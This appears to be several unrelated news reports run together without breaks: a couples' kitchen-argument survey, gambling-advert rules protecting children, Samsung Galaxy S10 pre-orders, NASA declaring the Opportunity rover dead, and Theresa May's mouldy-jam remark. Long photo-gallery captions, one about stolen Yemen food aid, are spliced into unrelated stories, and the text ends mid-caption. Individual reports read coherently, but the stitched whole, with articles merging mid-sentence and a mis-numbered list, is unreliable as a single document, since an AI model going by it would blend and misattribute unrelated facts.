Now that Im in a relationship, I probably wont repeat any of my past dating escapades this time around. But that doesnt mean Im automatically going to succumb to the consumerist shackles that Valentines Day places on couples.

I might be new(ish) to this, but shouldnt the things that youre supposed to do on Valentines Day  be kind, generous and loving to your partner  happen all year round and not just because the calendar tells you so? Just a hunch.The kitchen is known as the heart of the home but also the space in which tempers have a tendancy to flare amongst couples, say researchers leading a study of top 20 fall-outs.

The study, which looked at the relationship dynamic of 2,000 men and women, found the most common disputes stemmed from who would play chef, the mess and the quanitity of hot spices to use during preparation of meals.

Researchers found bus-ups would also erupt when one partner attempted to interfere in the culinary creation of the other - and even during conversations about what to eat for dinner.

Lack of inspiration and variety when it comes to culinary choices are at the heart of many dinner-time disagreements with many couples complaining they eat the same meals time after time, and the dishes are always boring.

It also emerged the average couple will talk about what to eat for the evening meal for at least 10 minutes a day, the equivalent of 61 hours a year.

Food aid for Yemenis stolen Show all 21 1 /21 Food aid for Yemenis stolen Food aid for Yemenis stolen People walk in a shelter for displaced persons in Ibb, Yemen, in this 3 Aug 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen People stand near their rooms inside a shelter for displaced persons in Ibb, Yemen, in this 3 Aug 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen A baby sleeps inside a shelter for displaced persons in Ibb, Yemen, in this 3 Aug 2018 photo. (Photo/Nariman El-Mofty) Food aid for Yemenis stolen A woman sits with her baby inside a shelter for displaced persons in Ibb, Yemen, in this 3 Aug 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen Sisters play in their room at a shelter for displaced persons in Ibb, Yemen in this 3 Aug 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen The entrance of the hangar of the United Nations in Aden, Yemen, in this 23 July 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen A man sells aid supplies at a market in Aden, Yemen, in this 23 July 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen The entrance to the port where aid is received, in Aden, Yemen, is shown in this 23 July 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen This 24 July 2018 photo shows a gas station on a road in Shabwah, Yemen. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen A worn-out list of registered names for aid by Relief International, part of the World Food Program, is posted in Aden, Yemen in this 23 July 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen A truck carries aid on a road in Aden, Yemen, in this 23 July 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen A man fixes his scarf at a shelter for displaced persons in Ibb, Yemen, in this 3 Aug 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen Children play in a room at a shelter for displaced persons in Ibb, Yemen, in this 3 Aug 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen Children look out of their room at a shelter for displaced persons in Ibb, Yemen, in this 3 Aug 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen A woman holds her baby as she leaves her room in a shelter for displaced persons in Ibb, Yemen in this 3 Aug 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen A family poses for a photograph in their room at a shelter for displaced persons in Ibb, Yemen, in this 3 Aug 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen A family sits in their room at a shelter for displaced persons in Ibb, Yemen, in this 3 Aug 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen A bucket filled with bread at a shelter for displaced persons in Ibb, Yemen, is shown in this 3 Aug 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen A family poses for a photograph in a shelter for displaced persons in Ibb, Yemen, in this 3 Aug 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen A child stands in a room at a shelter for displaced persons in Ibb, Yemen, in this 3 Aug 2018 photo. (AP Photo/Nariman El-Mofty) Food aid for Yemenis stolen A shelter for displaced persons in Ibb, Yemen, is shown in this 3 Aug 2018 photo. (AP Photo/Nariman El-Mofty)

Andre Dupin, head chef at HelloFresh UK, which carried out the study, said: Food is central to most peoples lives  we think, talk and disagree about food all day every day.

For many people, the evening meal is the prime time to catch up with their partner after a long day.

Finding something tasty to eat that you will both like and is easy to cook is a way to avoid daily disagreements about food.

Other arguments which regularly blow up in kitchens up and down the country are what time to eat, wasting food by not eating it all and whether or not someone is a good or bad cook.

As a consequence of these rows, 12 per cent of unhappy couples have ended up eating separately, while a further 13 per cent have refused to cook for their other half altogether.

 The DUP's Sammy Wilson says people should 'go to the chippy' as Ian Blackford talks of Brexit food shortage fears

More than one in 10 adults have gone as far as ordering a takeaway for themselves, but not one for their partner when disagreeing about what to have for dinner.

Researchers at OnePoll also found the average couple has the same five meals every single week, changing just two for something new.

Meals on rotation include roast dinner, spaghetti bolognese, fish and chips, pizza and a sandwich.

One third of couples admit they would be more adventurous with their food choices if given the chance, but blamed their partner for being awkward and stuck in their ways.

More than half would love to have more variety in their evening meals, but of these, four in 10 said their partner did not like to eat anything adventurous for a change.

A quarter said new ingredients are too expensive, while 24 per cent are too tired at the end of a busy day to start experimenting.

Fifteen per cent said they do not have the energy to start researching new recipes, and when they do, they lack the impetus to find all the necessary ingredients to make the dish.

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Mr Dupin added: Often the lack of variety at dinnertime is simply down to a lack of time, energy and inspiration.

"There's really no need to fall out with the one you love over boring dinners. There are ways of mixing up mealtimes, such as having fresh ingredients delivered or trying out different recipes, which will solve those daily dinnertime debates.

"This means less time arguing, and more time with a loved one over a meal you'll both enjoy."

The kind of things that couples will bicker over in the kitchen

1. What to eat

2. What time to eat

3. Leaving the kitchen looking like a bomb has hit it

4. Interfere while the other is in the process of culinary creation

5. Whether a takeaway is a better idea

6. Whether a meal should include an item the other person does not like, such as mushrooms

7. Who should wash up

8. How spicy a meal should be

9. Who should cook

10. Who let the food go off

11. Unhealthy meal options

12. Who eats all the snacks in the cupboard without replacing them

13. The quality of washing up

14. Wasting food by leaving it on the plate

15. Hoarding a certain ingredient and then buying more of the same

16. Eating the same meal every week

17. The food is boring

18. Whether ,meals should be planned for the week ahead

19. Who buys the most junk food

20. Who should shop for the food

21. If meals are too healthy

22. Whether or not there is enough sauce

22. Milk going off before being used

24. Debating whether someone is a good or bad cook

25. Taking the culinary crown by stepping in when all the hard work is done to add the finishing touches

SWNSThe Committee of Advertising Practice (CAP) has published new advertising standards designed to protect children from irresponsible gambling adverts.

Under the new rules, gambling adverts will no longer be allowed to appear on websites or computer games that are popular with children.

Gambling operators will also have to ensure that the majority of the audience of any social media influencer they work with are over 18 and stop using celebrities who appear to be under 25 in their promotions.

Playing at the margins of regulatory compliance is a gamble at the best of times, but for gambling advertisers its particularly ill-advised, especially when the welfare of children is at stake, says director of the Committees of Advertising Practice, Shahriar Coupal.

Our new standards respond to the latest evidence and lessons from ASA rulings, and require that greater care is taken in the placement and content of gambling ads to ensure they are not inadvertently targeted at under 18s.

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The rules, which come into effect on 1 April 2019, follow a review of the evidence on advertisings impact on under-18s, which was last carried out in 2014.

The review included previous complaints to the ASA on gambling adverts from the likes of Coral and William Hill which were deemed to be appealing to children.

In all cases, the ASA ruled that the ads should not appear again as they were and enforced stricter regulations for bookmakers to follow.

The new guidelines follow a recent study which revealed the number of child gamblers had risen to more than 50,000 in the UK.

The Gambling Commission audit found that the number of problem gamblers aged 11 to 16 rose to 55,000 between 2016-2018.

It also found that 70,000 youngsters were at risk and that 450,000 children bet regularly, the equivalent of one in seven children aged 11 to 16.

The Bishop of St Albans the Right Reverend Alan Smith branded the findings as a generational scandal.

Today's findings by the Gambling Commission makes worrying reading and serves as a warning to parents, he said.

After years of progress, it seems the rates of children gambling is creeping back up. These figures suggest 450,000 11-16-year-olds have gambled in the past week - that is deeply concerning.

We need to start taking the dangers of gambling seriously - 55,000 children classed as problem gamblers is a generational scandal."Samsung has opened up reservations for its forthcoming flagship smartphone, expected to be called the Galaxy S10.

The South Korean technoogy giant will unveil the next-generation device on 20 February, potentially alongside a foldable smartphone called the Galaxy X.

Pre-orders for the Galaxy S10 will begin on 21 February, with anyone who reserves the phone through Samsung's website assured of receiving the device on its official release date on 8 March.

Samsung has not officially revealed many details about its next phones, though numerous leaks mean there is little that remains a mystery.

The Galaxy S10 is expected to come in three versions, each varying in size, specs and price. The standard Galaxy S10 will be complimented by an entry-level Galaxy S10e and a premium Galaxy S10+.

Samsung Galaxy smartphone rumours Show all 12 1 /12 Samsung Galaxy smartphone rumours Samsung Galaxy smartphone rumours Samsung Unpacked A range of Galaxy smartphones are expected to be released on 20 February, 10 years on from the release of the first Galaxy S-series phone Samsung Samsung Galaxy smartphone rumours Samsung Galaxy S10 A new flagship phone is expected to be the main event, with the Galaxy S10 expected to come in three different variants TS Concept/ YouTube Samsung Galaxy smartphone rumours Galaxy S10e The entry-level Galaxy S10 is rumoured to be called the S10e, featuring a single front-facing camera and a double lens rear camera SlashLeaks Samsung Galaxy smartphone rumours Galaxy S10 The standard Samsung Galaxy S10 will add an extra camera lens to the rear, as well as improved specs and storage capacity WinFuture Samsung Galaxy smartphone rumours Galaxy S10+ The most premium Galaxy S10 is expected to be called the S10+. It will be both bigger and better than the other versions but also more expensive. A prototype of the premium device was papped on a bus in South Korea Reddit/ hissick27 Samsung Galaxy smartphone rumours In-screen biometrics Leaks suggest that both the S10 and S10+ will feature an in-screen fingerprint scanner, allowing Samsung to maximize screen space while keeping the security feature conveniently at the front of the phone Getty Images/iStockphoto Samsung Galaxy smartphone rumours Bitcoin wallet All three Samsung Galaxy S10 devices could also come with in-built cryptocurrency wallets, cashing in on a trend being pushed by other smartphone makers like HTC Getty Images/iStockphoto Samsung Galaxy smartphone rumours Reverse wireless charging Another stand-out feature could be the inclusion of reverse wireless charging, meaning Galaxy S10 owners can share their battery power with other devices Getty Images Samsung Galaxy smartphone rumours Galaxy Buds This next-generation charging could prove useful for the companion earphones, expected to be called Galaxy Buds WinFuture Samsung Galaxy smartphone rumours Galaxy Watch Alongside the Galaxy S10 smartphones, Samsung is likely to launch a brand new smartwatch. The Galaxy Watch is expected to ditch the dial of previous Gear smartwatches in favour of two circular side buttons 91Mobiles Samsung Galaxy smartphone rumours Galaxy X Samsung has already teased a foldable phone at an event in November, and some expect the company's Unpacked event on 20 February to provide the perfect launching pad for the innovative device Samsung Samsung Galaxy smartphone rumours Foldables Little is known about the foldable phone  expected to be called the Galaxy X  though rendered images based on leaks suggest it could include a camera that pops out from behind the screen LetsGoDigital

A message on Samsung's website offers visitors the chance to "reserve the next Galaxy," without specifying the name or type of device.

"We know you know what is coming soon," Samsung stated on its website. "Reserve today and save up to $550 on your next Galaxy device."

The discount will be dependent on whether the person buying the new smartphone has an eligible device to trade in.

Top-of-the-line iPhones  including the iPhone XR, iPhone XS and iPhone X  will fetch the full amount, however older iPhones like the iPhone 5S can only be traded for $50.

Anyone hoping to reserve the new Samsung Galaxy device will need to create a Samsung account.

"If you do not return to Samsung.com or the App to complete your order, your reservation will be cancelled automatically and you will no longer have reserved priority for placing an order to receive the next Galaxy device," Samsung's terms and conditions state.

"Your ability to place an order going forward will be subject to availability of devices and any shipping times available at the time of your order."Nasa is about to announce the future of the Opportunity rover, a pioneering robot that has spent years exploring the Martian surface.

The space agency hasn't heard from its rover for eight months, when it disappeared and has not been heard from since.

Now Nasa will send its last messages to the rover. But more than 1,000 have already been sent, with no reply from the rover, which is now facing a cold winter that will almost certainly kill it off if it doesn't manage to wake up.

It's just as hard to say goodbye to Opportunity, as it was to its fellow rover Spirit, project manager John Callas told The Associated Press.

"It's just like a loved one who's gone missing, and you keep holding out hope that they will show up and that they're healthy," he said. "But each passing day that diminishes, and at some point you have to say 'enough' and move on with your life."

Nasa's most stunning pictures of space Show all 30 1 /30 Nasa's most stunning pictures of space Nasa's most stunning pictures of space Solar Flare An image from Nasa's Solar Dynamics Observatory (SDO) shows a 200,000 mile long solar filament ripping through the Sun's corona in September 2013 Nasa Nasa's most stunning pictures of space Nasa Celebrates 50 Years of Spacewalking For 50 years, NASA has been "suiting up" for spacewalking. In this 1984 photograph of the first untethered spacewalk, NASA astronaut Bruce McCandless is in the midst of the first "field" tryout of a nitrogen-propelled backpack device called the Manned Maneuvering Unit (MMU) Nasa Nasa's most stunning pictures of space A Hubble Cosmic Couple The spectacular cosmic pairing of the star Hen 2-427  more commonly known as WR 124  and the nebula M1-67 which surrounds it ESA/Hubble & NASA Nasa's most stunning pictures of space Veil Nebula Supernova Remnant Nasa's Hubble Space Telescope has unveiled in stunning detail a small section of the Veil Nebula - expanding remains of a massive star that exploded about 8,000 years ago Nasa's most stunning pictures of space The Soyuz TMA-15M rocket launch The Soyuz TMA-15M rocket launches from the Baikonur Cosmodrome in Kazakhstan on Monday, Nov. 24, 2014, carrying three new astronauts to the International Space Station. It also took caviar, ready for the satellite's inhabitants to celebrate the holidays Nasa Nasa's most stunning pictures of space Earth from the ISS From the International Space Station, Expedition 42 Flight Engineer Terry W. Virts took this photograph of the Gulf of Mexico and U.S. Gulf Coast at sunset Nasa Nasa's most stunning pictures of space Black Hole Friday Nasa celebrated Black Friday by looking into space instead  sharing pictures of black holes Nasa Nasa's most stunning pictures of space NuSTAR X-rays stream off the sun in this image showing observations from by NASA's Nuclear Spectroscopic Telescope Array, or NuSTAR, overlaid on a picture taken by NASA's Solar Dynamics Observatory (SDO) Nasa Nasa's most stunning pictures of space Cassiopeia A c A false colour image of Cassiopeia A comprised with data from the Spitzer and Hubble Space Telescopes and the Chandra X-Ray observatory Nasa Nasa's most stunning pictures of space Orion Capsule splashes down The Orion capsule jetted off into space before heading back a few hours later  having proved that it can be used, one day, to carry humans to Mars Nasa Nasa's most stunning pictures of space Earth Observations From Gemini IV in 1965 This photograph of the Florida Straits and Grand Bahama Bank was taken during the Gemini IV mission during orbit no. 19 in 1965. The Gemini IV crew conducted scientific experiments, including photography of Earth's weather and terrain, for the remainder of their four-day mission following Ed White's historic spacewalk on June 3 Nasa's most stunning pictures of space Frosty slopes of Mars This image of an area on the surface of Mars, approximately 1.5 by 3 kilometers in size, shows frosted gullies on a south-facing slope within a crater. The image was taken by Nasa's HiRISE camera, which is mounted on its Mars Reconaissance Orbiter Nasa Nasa's most stunning pictures of space Yellowstone from space NASA astronaut Reid Wiseman shared this image of Yellowstone via his twitter account Nasa Nasa's most stunning pictures of space Saturn This near-infrared color image shows a specular reflection, or sunglint, off of a hydrocarbon lake named Kivu Lacus on Saturn's moon Titan Nasa Nasa's most stunning pictures of space Worlds Apart Although Mimas and Pandora, shown here, both orbit Saturn, they are very different moons. Pandora, "small" by moon standards (50 miles or 81 kilometers across) is elongated and irregular in shape. Mimas (246 miles or 396 kilometers across), a "medium-sized" moon, formed into a sphere due to self-gravity imposed by its higher mass Nasa Nasa's most stunning pictures of space Solar Flare An X1.6 class solar flare flashes in the middle of the sun in this image taken 10 September, captured by NASA's Solar Dynamics Observatory Nasa Nasa's most stunning pictures of space Large Magellanic Cloud galaxy An image of the Large Magellanic Cloud galaxy seen in infrared light by the Herschel Space Observatory. Regions of space such as this are where new stars are born from a mixture of elements and cosmic dust Nasa Nasa's most stunning pictures of space Mars Rover Spirit Nasa's Mars Rover Spirit took the first picture from Spirit since problems with communications began a week earlier. The image shows the robotic arm extended to the rock called Adirondack Nasa Nasa's most stunning pictures of space Morning Aurora From the Space Station Nasa astronaut Scott Kelly captured this photograph of the green lights of the aurora from the International Space Station Nasa/Scott Kelly Nasa's most stunning pictures of space Launch of History - Making STS-41G Mission in 1984 The Space Shuttle Challenger launches from Florida at dawn. On this mission, Kathryn Sullivan became the first U.S. woman to perform a spacewalk and Marc Garneau became the first Canadian in space. The crew of seven was the largest to fly on a spacecraft at that time, and STS-41G was the first flight to include two female astronauts Nasa's most stunning pictures of space A Fresh Perspective on an Extraordinary Cluster of Galaxies Galaxy clusters are often described by superlatives. After all, they are huge conglomerations of galaxies, hot gas, and dark matter and represent the largest structures in the Universe held together by gravity Nasa's most stunning pictures of space Hubble Sees a Galactic Sunflower The arrangement of the spiral arms in the galaxy Messier 63, seen here in an image from the Nasa Hubble Space Telescope, recall the pattern at the center of a sunflower ESA/Hubble & NASA Nasa's most stunning pictures of space Pluto image Four images from New Horizons Long Range Reconnaissance Imager (LORRI) were combined with colour data from the Ralph instrument to create this enhanced colour global view of Pluto Nasa's most stunning pictures of space Fresh Crater Near Sirenum Fossae Region of Mars The HiRISE camera aboard Nasa's Mars Reconnaissance Orbiter acquired this closeup image of a "fresh" (on a geological scale, though quite old on a human scale) impact crater in the Sirenum Fossae region of Mars. This impact crater appears relatively recent as it has a sharp rim and well-preserved ejecta Nasa's most stunning pictures of space Hubble Peers into the Most Crowded Place in the Milky Way This Nasa Hubble Space Telescope image presents the Arches Cluster, the densest known star cluster in the Milky Way NASA & ESA Nasa's most stunning pictures of space An Astronaut's View from Space Nasa astronaut Reid Wiseman tweeted this photo from the International Space Station on 2 September 2014 Nasa's most stunning pictures of space Giant Landform on Mars On Mars, we can observe four classes of sandy landforms formed by the wind, or aeolian bedforms: ripples, transverse aeolian ridges, dunes, and what are called draa Nasa's most stunning pictures of space Expedition 39 Landing A sokol suit helmet can be seen against the window of the Soyuz TMA-11M capsule shortly after the spacecraft landed with Expedition 39 Commander Koichi Wakata of the Japan Aerospace Exploration Agency (JAXA), Soyuz Commander Mikhail Tyurin of Roscosmos, and Flight Engineer Rick Mastracchio of NASA near the town of Zhezkazgan, Kazakhstan (NASA/Bill Ingalls) Nasa's most stunning pictures of space Jupiter's Great Red Spot Viewed by Voyager I Jupiter is the largest planet in the solar system and perhaps the most majestic. Vibrant bands of clouds carried by winds that can exceed 400 mph continuously circle the planet's atmosphere Nasa's most stunning pictures of space Chandra Observatory Sees a Heart in the Darkness This Chandra X-Ray Observatory image of the young star cluster NGC 346 highlights a heart-shaped cloud of 8 million-degree Celsius gas in the central region

The space agency said it would host a media event on "the status of its Mars Exploration Rover (MER) Opportunity". "The briefing will follow NASAs last planned attempts to communicate with Opportunity late Tuesday evening," Nasa said, asking the world to tune in on Wednesday evening.

Recommended Nasa tries to save Opportunity rover that is feared dead on Mars

The event will be attended by a whole host of Nasa staff, including boss Jim Bridenstine. Many of the engineers and scientists who have led the project will also appear.

Though the all-important message has already been sent, Nasa doesn't yet know whether the final attempts to contact the rover have been successful, and will not until shortly before the announcement.

But there is plenty of reason to be pessimistic. Opportunity has been out of touch since June last year, when it disappeared in a dust storm that blanketed the entirety of Mars, and it's final messages suggested that it could shut down.

If Nasa does fail to hear back this time, the challenges that Opportunity is about to face will mean it is dead. The winds that Nasa had hoped would blow the dust off the rover is now dying down, and being replaced by a cold winter that will probably destroy the components on board Nasa's lander.

Nasa's Opportunity landed in 2004 alongside another robot geologist, named Spirit, making up the Mars Exploration Rover mission. Both were expected to last only a matter of months, and Spirit died in 2010  but Opportunity has chugged on, travelling the furthest any human-made object ever has on another world.Nasa's Opportunity rover is officially dead, the space agency has said, after it disappeared in a dust storm on Mars.

Clearly emotional Nasa staff, standing in front of a life-sized replica of the rover, said they had not heard back from the rover and that the mission would come to an end. Scientists described the difficult process of saying goodbye to the rover, which they had nicknamed Oppy and described as being like a beloved member of the family.

"I am standing here with a sense of deep appreciation and gratitude," said Nasa associate administrator Thomas Zurbuchen, before he announced that the Opportunity mission is now considered complete.

The robot set a huge number of records as it travelled across the Martian surface, eventually travelling some 28 miles and lasting far longer than any other Mars lander. It discovered that water once flowed on the planet and lit up the world with the possibility that it might once have been able to support life.

But in June  after sending messages back to Nasa that indicated it was getting dark and its batteries were running low  the rover went silent. A vast dust storm had covered the entire planet and is thought to have covered up the solar panels that provided Opportunity with its power, leading it to shut down.

Nasa's most stunning pictures of space Show all 30 1 /30 Nasa's most stunning pictures of space Nasa's most stunning pictures of space Solar Flare An image from Nasa's Solar Dynamics Observatory (SDO) shows a 200,000 mile long solar filament ripping through the Sun's corona in September 2013 Nasa Nasa's most stunning pictures of space Nasa Celebrates 50 Years of Spacewalking For 50 years, NASA has been "suiting up" for spacewalking. In this 1984 photograph of the first untethered spacewalk, NASA astronaut Bruce McCandless is in the midst of the first "field" tryout of a nitrogen-propelled backpack device called the Manned Maneuvering Unit (MMU) Nasa Nasa's most stunning pictures of space A Hubble Cosmic Couple The spectacular cosmic pairing of the star Hen 2-427  more commonly known as WR 124  and the nebula M1-67 which surrounds it ESA/Hubble & NASA Nasa's most stunning pictures of space Veil Nebula Supernova Remnant Nasa's Hubble Space Telescope has unveiled in stunning detail a small section of the Veil Nebula - expanding remains of a massive star that exploded about 8,000 years ago Nasa's most stunning pictures of space The Soyuz TMA-15M rocket launch The Soyuz TMA-15M rocket launches from the Baikonur Cosmodrome in Kazakhstan on Monday, Nov. 24, 2014, carrying three new astronauts to the International Space Station. It also took caviar, ready for the satellite's inhabitants to celebrate the holidays Nasa Nasa's most stunning pictures of space Earth from the ISS From the International Space Station, Expedition 42 Flight Engineer Terry W. Virts took this photograph of the Gulf of Mexico and U.S. Gulf Coast at sunset Nasa Nasa's most stunning pictures of space Black Hole Friday Nasa celebrated Black Friday by looking into space instead  sharing pictures of black holes Nasa Nasa's most stunning pictures of space NuSTAR X-rays stream off the sun in this image showing observations from by NASA's Nuclear Spectroscopic Telescope Array, or NuSTAR, overlaid on a picture taken by NASA's Solar Dynamics Observatory (SDO) Nasa Nasa's most stunning pictures of space Cassiopeia A c A false colour image of Cassiopeia A comprised with data from the Spitzer and Hubble Space Telescopes and the Chandra X-Ray observatory Nasa Nasa's most stunning pictures of space Orion Capsule splashes down The Orion capsule jetted off into space before heading back a few hours later  having proved that it can be used, one day, to carry humans to Mars Nasa Nasa's most stunning pictures of space Earth Observations From Gemini IV in 1965 This photograph of the Florida Straits and Grand Bahama Bank was taken during the Gemini IV mission during orbit no. 19 in 1965. The Gemini IV crew conducted scientific experiments, including photography of Earth's weather and terrain, for the remainder of their four-day mission following Ed White's historic spacewalk on June 3 Nasa's most stunning pictures of space Frosty slopes of Mars This image of an area on the surface of Mars, approximately 1.5 by 3 kilometers in size, shows frosted gullies on a south-facing slope within a crater. The image was taken by Nasa's HiRISE camera, which is mounted on its Mars Reconaissance Orbiter Nasa Nasa's most stunning pictures of space Yellowstone from space NASA astronaut Reid Wiseman shared this image of Yellowstone via his twitter account Nasa Nasa's most stunning pictures of space Saturn This near-infrared color image shows a specular reflection, or sunglint, off of a hydrocarbon lake named Kivu Lacus on Saturn's moon Titan Nasa Nasa's most stunning pictures of space Worlds Apart Although Mimas and Pandora, shown here, both orbit Saturn, they are very different moons. Pandora, "small" by moon standards (50 miles or 81 kilometers across) is elongated and irregular in shape. Mimas (246 miles or 396 kilometers across), a "medium-sized" moon, formed into a sphere due to self-gravity imposed by its higher mass Nasa Nasa's most stunning pictures of space Solar Flare An X1.6 class solar flare flashes in the middle of the sun in this image taken 10 September, captured by NASA's Solar Dynamics Observatory Nasa Nasa's most stunning pictures of space Large Magellanic Cloud galaxy An image of the Large Magellanic Cloud galaxy seen in infrared light by the Herschel Space Observatory. Regions of space such as this are where new stars are born from a mixture of elements and cosmic dust Nasa Nasa's most stunning pictures of space Mars Rover Spirit Nasa's Mars Rover Spirit took the first picture from Spirit since problems with communications began a week earlier. The image shows the robotic arm extended to the rock called Adirondack Nasa Nasa's most stunning pictures of space Morning Aurora From the Space Station Nasa astronaut Scott Kelly captured this photograph of the green lights of the aurora from the International Space Station Nasa/Scott Kelly Nasa's most stunning pictures of space Launch of History - Making STS-41G Mission in 1984 The Space Shuttle Challenger launches from Florida at dawn. On this mission, Kathryn Sullivan became the first U.S. woman to perform a spacewalk and Marc Garneau became the first Canadian in space. The crew of seven was the largest to fly on a spacecraft at that time, and STS-41G was the first flight to include two female astronauts Nasa's most stunning pictures of space A Fresh Perspective on an Extraordinary Cluster of Galaxies Galaxy clusters are often described by superlatives. After all, they are huge conglomerations of galaxies, hot gas, and dark matter and represent the largest structures in the Universe held together by gravity Nasa's most stunning pictures of space Hubble Sees a Galactic Sunflower The arrangement of the spiral arms in the galaxy Messier 63, seen here in an image from the Nasa Hubble Space Telescope, recall the pattern at the center of a sunflower ESA/Hubble & NASA Nasa's most stunning pictures of space Pluto image Four images from New Horizons Long Range Reconnaissance Imager (LORRI) were combined with colour data from the Ralph instrument to create this enhanced colour global view of Pluto Nasa's most stunning pictures of space Fresh Crater Near Sirenum Fossae Region of Mars The HiRISE camera aboard Nasa's Mars Reconnaissance Orbiter acquired this closeup image of a "fresh" (on a geological scale, though quite old on a human scale) impact crater in the Sirenum Fossae region of Mars. This impact crater appears relatively recent as it has a sharp rim and well-preserved ejecta Nasa's most stunning pictures of space Hubble Peers into the Most Crowded Place in the Milky Way This Nasa Hubble Space Telescope image presents the Arches Cluster, the densest known star cluster in the Milky Way NASA & ESA Nasa's most stunning pictures of space An Astronaut's View from Space Nasa astronaut Reid Wiseman tweeted this photo from the International Space Station on 2 September 2014 Nasa's most stunning pictures of space Giant Landform on Mars On Mars, we can observe four classes of sandy landforms formed by the wind, or aeolian bedforms: ripples, transverse aeolian ridges, dunes, and what are called draa Nasa's most stunning pictures of space Expedition 39 Landing A sokol suit helmet can be seen against the window of the Soyuz TMA-11M capsule shortly after the spacecraft landed with Expedition 39 Commander Koichi Wakata of the Japan Aerospace Exploration Agency (JAXA), Soyuz Commander Mikhail Tyurin of Roscosmos, and Flight Engineer Rick Mastracchio of NASA near the town of Zhezkazgan, Kazakhstan (NASA/Bill Ingalls) Nasa's most stunning pictures of space Jupiter's Great Red Spot Viewed by Voyager I Jupiter is the largest planet in the solar system and perhaps the most majestic. Vibrant bands of clouds carried by winds that can exceed 400 mph continuously circle the planet's atmosphere Nasa's most stunning pictures of space Chandra Observatory Sees a Heart in the Darkness This Chandra X-Ray Observatory image of the young star cluster NGC 346 highlights a heart-shaped cloud of 8 million-degree Celsius gas in the central region

Nasa sent more than 1,000 messages to try and wake up the rover and get it working once again. But its last try was sent on Tuesday evening and went unanswered, leading the space agency to declare the rover dead.

It brought an end to 15 years of exploration over the red planet. Opportunity arrived at the beginning of 2004 alongside an identical twin known as Spirit for a mission that was only intended to last just three months and travel only 1,000 meters.

Recommended Nasa sends final messages to Mars Opportunity rover

Nasa last heard from Opportunity on 10 June. Flight controllers kept trying to re-send messages to try and wake the rover back up  but even when the dust storm cleared and sunlight should have been getting through, no response was received.

The historic last message was sent from the 70-meter Mars Station antenna at at NASA's Goldstone Deep Space Complex in California. It brought an end to an eight-month effort during which engineers said they tried everything they could to get the rover to wake back up.

We have made every reasonable engineering effort to try to recover Opportunity and have determined that the likelihood of receiving a signal is far too low to continue recovery efforts," said John Callas, manager of the Mars Exploration Rover project at Nasa's Jet Propulsion Laboratory.

Scientists had always expected that the rovers would be killed off by the dust on Mars  but thought that it would happen in just a few months. Instead, they found that the winds on the planet blew that dust off when it accumulated, helping to clear the rover and allowing it to last for much longer than expected.

Engineers think the internal clock might have become scrambeld by the long outage, meaning that the rover woke up at the wrong time and drained its batteries. Opportunity had to go into deep sleep every night to ensure that its batteries kept enough power  but the disruption probably meant that it lost its sense of time, and so forgot when it needed to go to sleep.

Mars is now heading for an extended cold spell that will probably destroy the components powering Opportunity forever. Scientists are unlikely to ever know why both Opportunity and Spirit died.

Opportunity's death means that Curiosity is the only functioning rover on the planet's surface. Many more are expected to join it  the ExoMars rover, for instance, an international project that hopes to look for signs of life  with two new robots expected to arrive next year.

Engineers and scientists said Spirit and Opportunity would live in on in the legacy they leave behind for the rovers and orbiters that will go on to further explore the mysterious ground of the planet that Opportunity spent so long scouting around.

"For more than a decade, Opportunity has been an icon in the field of planetary exploration, teaching us about Mars' ancient past as a wet, potentially habitable planet, and revealing uncharted Martian landscapes," said Zurbuchen in a statement. "Whatever loss we feel now must be tempered with the knowledge that the legacy of Opportunity continues  both on the surface of Mars with the Curiosity rover and InSight lander  and in the clean rooms of JPL, where the upcoming Mars 2020 rover is taking shape."

Opportunity will now rest at the edge of Perserverance Valley, just one of the wide variety of craters, hills and other geological features that the rover explored as it made its record-breaking journey across the surface.

"I cannot think of a more appropriate place for Opportunity to endure on the surface of Mars than one called Perseverance Valley," said Michael Watkins, director of JPL. "The records, discoveries and sheer tenacity of this intrepid little rover is testament to the ingenuity, dedication, and perseverance of the people who built and guided her."The prime minister has sparked a national debate after revealing she will not dispose of old jam simply because it is growing mould.

Theresa May made the admission during a cabinet discussion on food waste, explaining that she will happily scrape off any bits of mould and eat what is underneath.

The comments have prompted questions surrounding what is and is not safe when it comes to mouldy produce.

A spokesperson for The Food Standards Agency tells The Independent that in general, it would advise avoiding food that is obviously rotten or mouldy, especially if you're elderly, pregnant, or have a weakened immune system.

"While it is possible that removing the mould and a significant amount of the surrounding product could remove any unseen toxins that are present, there is no guarantee that doing so would remove them all," they added.

New Orleans's food scene - in pictures Show all 14 1 /14 New Orleans's food scene - in pictures New Orleans's food scene - in pictures Commander's Palace Striking architecture and delicious food come together at this New Orleans stalwart New Orleans CVB New Orleans's food scene - in pictures Cafe du Monde The beignets are a staple...and it is worth the queue New Orleans CVB New Orleans's food scene - in pictures Best hostess in town The legendary JoAnn Clevenge of Upperline New Orleans CVB New Orleans's food scene - in pictures Johnnys Po Boy Lousianas ubiquitous sandwich staple New Orleans CVB New Orleans's food scene - in pictures Cafe du Monde Sit outside and soak up the atmosphere New Orleans CVB New Orleans's food scene - in pictures All that jazz Top-notch live music lines the streets New Orleans CVB New Orleans's food scene - in pictures Steamboat Natchez Cruise the Mississippi, old-school style New Orleans CVB New Orleans's food scene - in pictures Dancing in the streets A familiar New Orleans scene New Orleans CVB New Orleans's food scene - in pictures Saint Louis Cathedral The oldest Cathedral in North America towers above the city New Orleans CVB New Orleans's food scene - in pictures Magazine Street Work off the food with a spot of shopping New Orleans CVB New Orleans's food scene - in pictures French Quarter 